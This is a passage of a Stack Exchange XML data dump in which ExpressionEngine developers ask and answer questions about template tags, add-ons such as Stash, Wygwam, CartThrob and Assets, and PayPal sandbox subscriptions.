  <row Id="16632" PostTypeId="2" ParentId="15573" CreationDate="2013-11-11T10:13:34.757" Score="3" Body="&lt;p&gt;I don't tend to use Stash to duplicate the data model. In this case you would be adding a close coupling between the generation of the list and the individual offer pages. That adds fragility. As far as possible you should separate the functionality and presentation of your site into components that are not dependent on one other. You can and should still make reusable snippets of code but they should be generic and modular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this instance I would capture the list and use it wherever a list of offers is needed. The individual offer pages I would cache independently with full page caching.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-11-11T10:13:34.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16633" PostTypeId="2" ParentId="16630" CreationDate="2013-11-11T10:27:18.687" Score="2" Body="&lt;p&gt;Change your quotations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if '{embed=&quot;common/.get-gender-url-title&quot; chosen_gender_id=&quot;{exp:stash:get name='chosen_gender_id'}&quot;}' != 'male'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the crappy first answer. Your issue is, as always, a parse order issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embeds are parsed &lt;em&gt;after&lt;/em&gt; conditionals, so the conditional is reading the embed code directly (not parsed) as notacouch mentioned. Since you are using Stash, use it all the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put your embed code into a Stash embed. Then call it in your template where you need to, but after your &lt;code&gt;{exp:stash:set name='chosen_gender_id'}...{/exp:stash:set}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:gender-url-title process=&quot;start&quot; parse_stage=&quot;set&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that do anything magical?&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-13T14:55:54.910" LastActivityDate="2013-11-13T14:55:54.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16634" PostTypeId="1" CreationDate="2013-11-11T10:57:06.460" Score="7" ViewCount="5422" Body="&lt;p&gt;I would like to display the total number of entries for a channel and nothing else is required to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more efficient way to do this than the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;  {if count == total_results}&#xA;    {count}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2344" LastEditorUserId="69" LastEditDate="2013-11-11T11:34:26.407" LastActivityDate="2013-11-17T02:40:18.237" Title="Display the number of entries in a channel" Tags="|entries|count|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16635" PostTypeId="2" ParentId="16634" CreationDate="2013-11-11T11:18:42.653" Score="7" Body="&lt;p&gt;From performance view is better to use query for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as total_results FROM exmx_channel_titles WHERE channel_id = '2' &quot;} &#xA;total results: {total_results} &#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-11T11:18:42.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16637" PostTypeId="1" AcceptedAnswerId="16638" CreationDate="2013-11-11T11:59:31.473" Score="1" ViewCount="127" Body="&lt;p&gt;When I tried to synchronize my upload directories I kept getting the &quot;invalid_filename&quot; error for all the files. What is happening and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-11T14:38:03.727" Title="invalid_filename error when syncing upload directory" Tags="|file-uploads|sync|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16638" PostTypeId="2" ParentId="16637" CreationDate="2013-11-11T11:59:31.473" Score="2" Body="&lt;p&gt;I am using Focus Lab's EE master config so I had to add a trailing slash on my directory paths in the config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1 =&amp;gt; array(&#xA;      'name'        =&amp;gt; 'Images',&#xA;      'server_path' =&amp;gt; $base_path . '/uploads/images',&#xA;      'url'         =&amp;gt; $base_url  . '/uploads/images/'&#xA; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what fixed it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1 =&amp;gt; array(&#xA;      'name'        =&amp;gt; 'Images',&#xA;      'server_path' =&amp;gt; $base_path . '/uploads/images/',&#xA;      'url'         =&amp;gt; $base_url  . '/uploads/images/'&#xA;  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-11T14:38:03.727" LastActivityDate="2013-11-11T14:38:03.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16639" PostTypeId="1" AcceptedAnswerId="16648" CreationDate="2013-11-11T12:05:02.517" Score="3" ViewCount="228" Body="&lt;p&gt;Is there any way to limit only one item in a cart overall? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to give the client the ability to add one thing and one thing only to the cart, effectively disabling anything else unless they remove the item they have in cart itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:cart limit='1'} seems too easy...?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="28" LastEditDate="2013-11-11T16:24:59.137" LastActivityDate="2013-11-12T08:49:38.623" Title="Expresso Store - limit number of items in a cart" Tags="|expresso-store|shopping-cart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16640" PostTypeId="1" AcceptedAnswerId="16646" CreationDate="2013-11-11T13:07:43.613" Score="1" ViewCount="177" Body="&lt;p&gt;I'm writing a custom module that's going to need to retrieve channel data using a direct database query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the custom fields is an Assets image and I need to get the full image URL and alt_text in the most efficient way possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;best practice&quot; way to get all this data out of Assets when armed with an entry ID and custom field ID? In pseudo-code I'd quite like to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assets = new Assets;&#xA;$file = $assets-&amp;gt;getFileData($entry_id,$field_id);&#xA;&#xA;$url = $file-&amp;gt;url;&#xA;$alt_text = $file-&amp;gt;alt_text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively I could JOIN the necessary tables in my query but it looks like there would be quite a few.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2013-11-12T08:35:20.380" Title="Retrieve Assets file data from custom module" Tags="|assets|add-on-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16641" PostTypeId="1" CreationDate="2013-11-11T14:01:22.020" Score="0" ViewCount="157" Body="&lt;p&gt;I'm using Freeform 4 and I have to create a Tell a friend page to send e-mails to multiple friends (maximum of 10). Each friend input will have the friends Name + their e-mail address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form is variable (1 friend name / friend email input is shown, with a button to add more)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already found out that I can use brackets for multiple recipients, e.g. I know have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Name friend 1&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;friend_name[]&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;Emailaddress friend 1&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;recipient_email_user[]&quot;&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Name friend 2&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;friend_name[]&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;Emailaddress friend 2&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;recipient_email_user[]&quot;&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;+ Add another friend&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My first question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the friend_name[] and recipient_email_user[] as required? I'm trying to show inline errors at the corresponding fields. Is this doable with Freeform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My second question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I retrieve the friend_name[] in the notification so I can begin every e-mail to friends with Hi {name}?&lt;/p&gt;&#xA;" OwnerUserId="2345" LastEditorUserId="28" LastEditDate="2013-11-11T16:36:41.073" LastActivityDate="2013-11-12T09:22:26.473" Title="Variable recipients? (validation of name and email + name notification)" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16642" PostTypeId="1" CreationDate="2013-11-11T14:27:41.860" Score="1" ViewCount="157" Body="&lt;p&gt;I have set up CT to use a Matrix for pricing on products. Everything is adding to cart and checkout is OK. I have allow_user_price on as it is a multi-lingual site and I need to show different prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I tweak, I can't get the inventory to reduce once a sale as gone through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Matrix field I have the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;option_value&lt;/li&gt;&#xA;&lt;li&gt;inventory&lt;/li&gt;&#xA;&lt;li&gt;uk_price&lt;/li&gt;&#xA;&lt;li&gt;eu_price&lt;/li&gt;&#xA;&lt;li&gt;us_price&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have also mapped inventory in to the name of he matrix field in products (pricing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multi_add_to_cart is wrapped round a bunch of products. When a customer clicks on more details, Jquery fetches the options - An EE template that loops through options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a highlight of the options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{segment_6}&quot; field=&quot;pricing&quot;}&#xA;{options}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{segment_6}{count}]&quot; value=&quot;{segment_6}&quot;/&amp;gt; &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{segment_6}{count}][option_value]&quot; value=&quot;{option_value}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{segment_6}{count}][size]&quot; value=&quot;{size}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{segment_6}{count}][pack]&quot; value=&quot;{pack}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;cart-qty&quot; name=&quot;quantity[{segment_6}{count}]&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;button type=&quot;submit&quot;  class=&quot;add_to_cart_submit btn btn-danger btn-small&quot; &amp;gt;{phrase:add_to_cart}&amp;lt;/button&amp;gt;&#xA;{/options}&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have omitted the price field and other styling for clarity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see if I am missing anything obvious? &lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="28" LastEditDate="2013-11-11T16:53:15.897" LastActivityDate="2014-01-31T05:35:55.117" Title="Cartthrob multi-add-to-cart not reducing inventory on" Tags="|matrix|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16643" PostTypeId="2" ParentId="16634" CreationDate="2013-11-11T14:32:03.497" Score="9" Body="&lt;p&gt;Use the built-in Stats module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stats channel=&quot;products&quot;}{total_entries}{/exp:stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot;&gt;Query module&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT total_entries FROM exp_channels WHERE channel_name = 'products'&quot;} &#xA;{total_entries} &#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/statistics/index.html#total-entries&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/statistics/index.html#total-entries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="343" LastEditDate="2013-11-17T02:40:18.237" LastActivityDate="2013-11-17T02:40:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16644" PostTypeId="1" CreationDate="2013-11-11T15:20:44.713" Score="2" ViewCount="186" Body="&lt;p&gt;How can I get the size of the avatar uploaded and inform the user if the file is too big? Indeed, it seems like the edition does not proceed for a certain size of the avatar file.&lt;/p&gt;&#xA;" OwnerUserId="2346" LastEditorUserId="197" LastEditDate="2013-11-11T20:06:03.257" LastActivityDate="2013-11-14T19:33:05.077" Title="Solspace User : Edit Profile - Avatar Uploading" Tags="|solspace|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16645" PostTypeId="1" CreationDate="2013-11-11T15:28:54.113" Score="4" ViewCount="295" Body="&lt;p&gt;I am using the store finder module, and am trying to insert a &quot;title&quot; for each &quot;state&quot;. If I have 20 stores in a certain state, I would only like to display the &quot;title&quot; once. Is there any way this could be done with an if statement? to kind of break the loop?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store_locator:stores}                       &#xA;&amp;lt;ul&amp;gt;&#xA;        &amp;lt;li style=&quot;width:260px; padding-right:20px; float:left; height:100px;&quot;&amp;gt;&#xA;            &amp;lt;h5&amp;gt;{name}&amp;lt;/h5&amp;gt;&#xA;&#xA;            {if address_line1 !=&quot;&quot;}         &#xA;            {address_line1}&amp;lt;br/&amp;gt;&#xA;            {/if}&#xA;&#xA;            {city}, {state} &#xA;            {postal_code}&amp;lt;br /&amp;gt;&#xA;&#xA;            {if phone != &quot;&quot;}&#xA;            &amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {phone}&#xA;            &amp;lt;br/&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if url != &quot;&quot;}&#xA;            &amp;lt;strong&amp;gt;Website:&amp;lt;/strong&amp;gt; &amp;lt;a href=&quot;http://www.{url}&quot; target=&quot;_blank&quot;&amp;gt;{url}&amp;lt;/a&amp;gt;        &amp;lt;br/&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    {/exp:store_locator:stores}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="633" LastEditorUserId="28" LastEditDate="2013-11-11T16:35:08.537" LastActivityDate="2013-11-14T09:48:07.717" Title="If statement inside a loop?" Tags="|ifelse|loop|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16646" PostTypeId="2" ParentId="16640" CreationDate="2013-11-11T16:00:58.143" Score="2" Body="&lt;p&gt;The quick way would be to use an SQL query (something like &lt;a href=&quot;http://pastie.org/private/x6uue9y6ieqvlqf6ai59q&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/x6uue9y6ieqvlqf6ai59q&lt;/a&gt;), but that would not get you the URL, though, as that depends on several other settings. If you're confident that the settings for the upload folder (or Assets external source) for that will never change, this will probably not be an issue for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The neat way would be to use the Assets API with something like this: &lt;a href=&quot;http://pastie.org/private/bzcqi92f3wqy0htqm3w&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/bzcqi92f3wqy0htqm3w&lt;/a&gt;.&#xA;That would return you an instance of Assets_base_file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would still have to use a query to get the file_id from exp_assets_selections, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add the &quot;get_file_by_entry_and_field&quot; method to the feature list for the next release of Assets, but I don't have any estimates on when will that arrive, though..&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="28" LastEditDate="2013-11-11T16:51:39.357" LastActivityDate="2013-11-11T16:51:39.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16648" PostTypeId="2" ParentId="16639" CreationDate="2013-11-11T16:29:59.820" Score="2" Body="&lt;p&gt;You can do this by building a conditional using &lt;code&gt;{qty_in_cart}&lt;/code&gt; to show the Add To Cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:store:product entry_id=&quot;{entry_id}&quot;  return=&quot;/checkout&quot;}&#xA;        {if qty_in_cart == &quot;0&quot;}&#xA;            &amp;lt;select id=&quot;item_qty&quot; name=&quot;item_qty&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add To Cart&quot;&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;p&amp;gt;Limit 1 per order&amp;lt;/p&amp;gt;&#xA;        {/if}       &#xA;    {/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, remove the ability to change quantity on the My Cart page... The user should only be able to delete the product from the cart.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-11T16:29:59.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16649" PostTypeId="2" ParentId="15223" CreationDate="2013-11-11T18:27:19.240" Score="1" Body="&lt;p&gt;This became way too problematic and another solution was suggested to the server admins which they accepted. This solution allowed for the more typical ExpressionEngine setup and environment which removed all of these problematic issues.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-11T18:27:19.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16650" PostTypeId="2" ParentId="15561" CreationDate="2013-11-11T18:29:00.480" Score="0" Body="&lt;p&gt;This issue was resolved along with other issues that were determined as coming from the same source. There is a post &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15223/admin-control-panel-access-behind-firewall&quot;&gt;here&lt;/a&gt; which was related.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-11-11T18:29:00.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16651" PostTypeId="1" CreationDate="2013-11-11T19:02:40.033" Score="1" ViewCount="23" Body="&lt;p&gt;I usually just experience this at random intervals, but now all the time when attempting to save changes in the Freeform Pro plugin. I am pretty sure this is not just limited to the plugin as I have this problem on other templates and snippet pages. When I attempt to save changes, the screen redirects to the main control panel home without actually saving changes. This have been occuring infrequently and randomly since my original installation of v 2.5.&lt;/p&gt;&#xA;" OwnerUserId="2348" LastActivityDate="2013-11-11T19:02:40.033" Title="Control panel screen reloads when attempting to save changes on other pages" Tags="|control-panel|saving|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16652" PostTypeId="1" AcceptedAnswerId="16653" CreationDate="2013-11-11T19:21:59.077" Score="1" ViewCount="180" Body="&lt;p&gt;Basic blog setup using Wygwam for the primary field in the entry. Inside the file management, I have Image Manipulations set to manipulate any images uploaded and used formatted for social media. For instance, since the twitter images for twitter card data must be at least 280x150, I just create better optimized images for them and they are dumped in a sub-folder of images named &quot;_Twitter_Card_Image&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to find if an entry has an image in the Wygwam field and add a META tag for each image used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wygwam-field}&#xA;    &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{twitter-image-location}&quot;&amp;gt;&#xA;{/wygwam-field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never done this before. It may be something pretty simple that I'm over thinking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I should have been more clear. (Trying to post and answer questions when people walk up.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of the images only tag. I wasn't exactly clear about the needs. I need the alternate image source for the Image Manipulation option spoken of above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_wygwam_field images_only=&quot;yes&quot;}&#xA;    &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{twitter-image-location}&quot;&amp;gt;&#xA;{/my_wygwam_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Twitter summary card with large image must be at least 280x150px --&amp;gt;&#xA;{app_primary_copy images_only=&quot;yes&quot;}&#xA;    &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{exp:low_replace find='/appraisers/' replace='/appraisers/_Twitter_Card_Image'}{src}{/exp:low_replace}&quot;&amp;gt;&#xA;{/app_primary_copy}&#xA;&#xA;&amp;lt;!-- Open Graph data --&amp;gt;&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;{title}&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;{current_url}&quot; /&amp;gt;&#xA;{app_primary_copy images_only=&quot;yes&quot;}&#xA;    &amp;lt;meta property=&quot;og:image&quot; content=&quot;{src}&quot; /&amp;gt;&#xA;{/app_primary_copy}&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{app_primary_copy}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the hacksaw info comes in just fine, but the rest of the info that's wrapped in EE Tags is completely blank. Basically, the wygwam tags aren't producing any results. No HTML or anything. It's like there is nothing there at all.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-11-11T20:18:00.713" LastActivityDate="2013-11-11T20:18:00.713" Title="Getting image files for META tags if in entry" Tags="|wygwam|image|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16653" PostTypeId="2" ParentId="16652" CreationDate="2013-11-11T19:23:58.920" Score="0" Body="&lt;p&gt;Wygwam has an &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/templating/field.html#images-only-mode&quot; rel=&quot;nofollow&quot;&gt;Images-only Mode&lt;/a&gt; you can use for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_wygwam_field images_only=&quot;yes&quot;}&#xA;     &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{src}&quot;&amp;gt;&#xA;{/your_wygwam_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/templating/field.html#images-only-mode&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/wygwam/templating/field.html#images-only-mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE to address your image path question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since EE is systematic about storing manipulated versions of an image in a subfolder named after the manipulation, and otherwise uses the same filename, you could just use &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;. The exact parameters you use will depend on your setup, but for the sake of example if your image upload directory is &quot;assets/twitter&quot; and your manipulation is called &quot;card&quot; you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_wygwam_field images_only=&quot;yes&quot;}&#xA;     &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{exp:low_replace find=&quot;/assets/twitter&quot; replace=&quot;/assets/twitter/_card&quot;}{src}{exp:low_replace}&quot;&amp;gt;&#xA;{/your_wygwam_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-11T19:53:23.223" LastActivityDate="2013-11-11T19:53:23.223" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16657" PostTypeId="1" AcceptedAnswerId="16663" CreationDate="2013-11-11T20:56:20.463" Score="1" ViewCount="508" Body="&lt;p&gt;So I'm trying to test recurring payments/subscriptions with EllisLab's Simple Commerce Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got sandbox buyer/merchant accounts setup. Former has generated verified bank, latter has enhanced recurring payments enabled, encrypted payments enabled, IPN enabled (I receive DEBUG emails and logged in member purchases appear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be in order... but when I make a recurring payment via the &lt;code&gt;{subscribe_now_url}&lt;/code&gt; link it only seems to be a regular payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are individual test purchases from the buyer's account screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MixV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a sample of daily recurring payments from another project that used the &lt;a href=&quot;https://developer.paypal.com/webapps/developer/docs/classic/paypal-payments-pro/integration-guide/WPRecurringPayments/#id086513007E9&quot; rel=&quot;nofollow noreferrer&quot;&gt;Express Checkout API&lt;/a&gt; (note the &lt;em&gt;&quot;&lt;strong&gt;Recurring&lt;/strong&gt; Payment To&quot;&lt;/em&gt; as opposed to &lt;em&gt;&quot;Payment To&quot;&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xwgxe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Simple Commerce Module Edit Purchases tab it shows the purchases as &quot;Recurring&quot;. However, there is no sign of it being a recurring payment anywhere else, neither on the sandbox Buyer's end, nor on the sandbox Merchant's end. Is it still somehow a recurring payment? Does it start recurring payments the next day (testing as daily subscription)? Am I missing something? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested with encrypted payments turned off and it works. My head hurts. &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-11-11T22:59:10.593" LastActivityDate="2013-11-11T23:41:49.283" Title="Sandbox Recurring Payments with SCM are just regular payments?" Tags="|paypal|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16658" PostTypeId="1" CreationDate="2013-11-11T21:29:05.880" Score="2" ViewCount="348" Body="&lt;p&gt;I updated today one of our EE installation from 2.6.1 to 2.7.2 and one of the changes was going from safecracker to EE forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All working well except when I use date picker for entry date and closing date. Entry date, by default formatting looks ok, but as soon as I change the date it appear with undefined (example: &lt;strong&gt;2013-11-12un12efine12&lt;/strong&gt;). Same happens to Expiry date as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the css as required and it seems fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it starts with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;jobs&quot; return=&quot;/jobs/booking/ENTRY_ID&quot;  include_jquery=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I believe this is correct as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the page &lt;a href=&quot;http://www.youthworks.net/jobs/booking&quot; rel=&quot;nofollow&quot;&gt;http://www.youthworks.net/jobs/booking&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone have an idea where something is wrong, I would love to hear from 